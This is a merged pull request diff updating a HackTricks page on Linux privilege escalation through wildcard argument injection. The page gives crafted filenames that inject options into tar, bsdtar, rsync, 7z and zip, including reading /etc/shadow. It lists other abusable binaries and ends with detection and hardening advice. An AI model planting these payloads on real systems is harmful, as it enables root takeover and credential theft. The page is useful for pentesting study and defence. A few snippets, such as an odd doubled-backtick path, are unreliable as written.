Merge pull request #1232 from HackTricks-wiki/research_update_src_linux-hardening_privilege-escalation_wildcards-spare-tricks_20250803_014958

Research Update Enhanced src/linux-hardening/privilege-escal...

Author: carlospolop

src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md

@@ -2,76 +2,137 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## chown, chmod
+> Wildcard (aka *glob*) **argument injection** happens when a privileged script runs a Unix binary such as `tar`, `chown`, `rsync`, `zip`, `7z`, … with an unquoted wildcard like `*`.  
+> Since the shell expands the wildcard **before** executing the binary, an attacker who can create files in the working directory can craft filenames that begin with `-` so they are interpreted as **options instead of data**, effectively smuggling arbitrary flags or even commands.  
+> This page collects the most useful primitives, recent research and modern detections for 2023-2025.
 
-You can **indicate which file owner and permissions you want to copy for the rest of the files**
+## chown / chmod
+
+You can **copy the owner/group or the permission bits of an arbitrary file** by abusing the `--reference` flag:
 
 ```bash
-touch "--reference=/my/own/path/filename"
+# attacker-controlled directory
+touch "--reference=/root/secret``file"   # ← filename becomes an argument
 ```
 
-You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(combined attack)_\
-More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
+When root later executes something like:
+
+```bash
+chown -R alice:alice *.php
+chmod -R 644 *.php
+```
+
+`--reference=/root/secret``file` is injected, causing *all* matching files to inherit the ownership/permissions of `/root/secret``file`.
+
+*PoC & tool*: [`wildpwn`](https://github.com/localh0t/wildpwn) (combined attack).  
+See also the classic DefenseCode paper for details.
+
+---
 
-## Tar
+## tar
 
-**Execute arbitrary commands:**
+### GNU tar (Linux, *BSD, busybox-full)
+
+Execute arbitrary commands by abusing the **checkpoint** feature:
 
 ```bash
+# attacker-controlled directory
+echo 'echo pwned > /tmp/pwn' > shell.sh
+chmod +x shell.sh
 touch "--checkpoint=1"
 touch "--checkpoint-action=exec=sh shell.sh"
 ```
 
-You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(tar attack)_\
-More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
+Once root runs e.g. `tar -czf /root/backup.tgz *`, `shell.sh` is executed as root.
 
-## Rsync
+### bsdtar / macOS 14+
 
-**Execute arbitrary commands:**
+The default `tar` on recent macOS (based on `libarchive`) does *not* implement `--checkpoint`, but you can still achieve code-execution with the **--use-compress-program** flag that allows you to specify an external compressor.
 
 ```bash
-Interesting rsync option from manual:
-
- -e, --rsh=COMMAND           specify the remote shell to use
-     --rsync-path=PROGRAM    specify the rsync to run on remote machine
+# macOS example
+touch "--use-compress-program=/bin/sh"
 ```
+When a privileged script runs `tar -cf backup.tar *`, `/bin/sh` will be started. 
+
+---
+
+## rsync
+
+`rsync` lets you override the remote shell or even the remote binary via command-line flags that start with `-e` or `--rsync-path`:
 
 ```bash
-touch "-e sh shell.sh"
+# attacker-controlled directory
+touch "-e sh shell.sh"        # -e <cmd> => use <cmd> instead of ssh
 ```
 
-You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(\_rsync \_attack)_\
-More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
+If root later archives the directory with `rsync -az * backup:/srv/`, the injected flag spawns your shell on the remote side.
+
+*PoC*: [`wildpwn`](https://github.com/localh0t/wildpwn) (`rsync` mode).
 
-## 7z
+---
 
-In **7z** even using `--` before `*` (note that `--` means that the following input cannot treated as parameters, so just file paths in this case) you can cause an arbitrary error to read a file, so if a command like the following one is being executed by root:
+## 7-Zip / 7z / 7za
+
+Even when the privileged script *defensively* prefixes the wildcard with `--` (to stop option parsing), the 7-Zip format supports **file list files** by prefixing the filename with `@`.  Combining that with a symlink lets you *exfiltrate arbitrary files*:
 
 ```bash
-7za a /backup/$filename.zip -t7z -snl -p$pass -- *
+# directory writable by low-priv user
+cd /path/controlled
+ln -s /etc/shadow   root.txt      # file we want to read
+touch @root.txt                  # tells 7z to use root.txt as file list
 ```
 
-And you can create files in the folder were this is being executed, you could create the file `@root.txt` and the file `root.txt` being a **symlink** to the file you want to read:
+If root executes something like:
 
 ```bash
-cd /path/to/7z/acting/folder
-touch @root.txt
-ln -s /file/you/want/to/read root.txt
+7za a /backup/`date +%F`.7z -t7z -snl -- *
 ```
 
-Then, when **7z** is execute, it will treat `root.txt` as a file containing the list of files it should compress (thats what the existence of `@root.txt` indicates) and when it 7z read `root.txt` it will read `/file/you/want/to/read` and **as the content of this file isn't a list of files, it will throw and error** showing the content.
+7-Zip will attempt to read `root.txt` (→ `/etc/shadow`) as a file list and will bail out, **printing the contents to stderr**.
 
-_More info in Write-ups of the box CTF from HackTheBox._
+---
 
-## Zip
+## zip
 
-**Execute arbitrary commands:**
+`zip` supports the flag `--unzip-command` that is passed *verbatim* to the system shell when the archive will be tested:
 
 ```bash
-zip name.zip files -T --unzip-command "sh -c whoami"
+zip result.zip files -T --unzip-command "sh -c id"
 ```
 
-{{#include ../../banners/hacktricks-training.md}}
+Inject the flag via a crafted filename and wait for the privileged backup script to call `zip -T` (test archive) on the resulting file.
+
+---
+
+## Additional binaries vulnerable to wildcard injection (2023-2025 quick list)
+
+The following commands have been abused in modern CTFs and real environments.  The payload is always created as a *filename* inside a writable directory that will later be processed with a wildcard:
+
+| Binary | Flag to abuse | Effect |
+| --- | --- | --- |
+| `bsdtar` | `--newer-mtime=@<epoch>` → arbitrary `@file` | Read file contents |
+| `flock` | `-c <cmd>` | Execute command |
+| `git`   | `-c core.sshCommand=<cmd>` | Command execution via git over SSH |
+| `scp`   | `-S <cmd>` | Spawn arbitrary program instead of ssh |
 
+These primitives are less common than the *tar/rsync/zip* classics but worth checking when hunting.
 
+---
 
+## Detection & Hardening
+
+1. **Disable shell globbing** in critical scripts: `set -f` (`set -o noglob`) prevents wildcard expansion.
+2. **Quote or escape** arguments: `tar -czf "$dst" -- *` is *not* safe — prefer `find . -type f -print0 | xargs -0 tar -czf "$dst"`.
+3. **Explicit paths**: Use `/var/www/html/*.log` instead of `*` so attackers cannot create sibling files that start with `-`.
+4. **Least privilege**: Run backup/maintenance jobs as an unprivileged service account instead of root whenever possible.
+5. **Monitoring**: Elastic’s pre-built rule *Potential Shell via Wildcard Injection* looks for `tar --checkpoint=*`, `rsync -e*`, or `zip --unzip-command` immediately followed by a shell child process. The EQL query can be adapted for other EDRs. 
+
+---
+
+## References
+
+* Elastic Security – Potential Shell via Wildcard Injection Detected rule (last updated 2025)  
+* Rutger Flohil – “macOS — Tar wildcard injection” (Dec 18 2024)
+
+{{#include ../../banners/hacktricks-training.md}}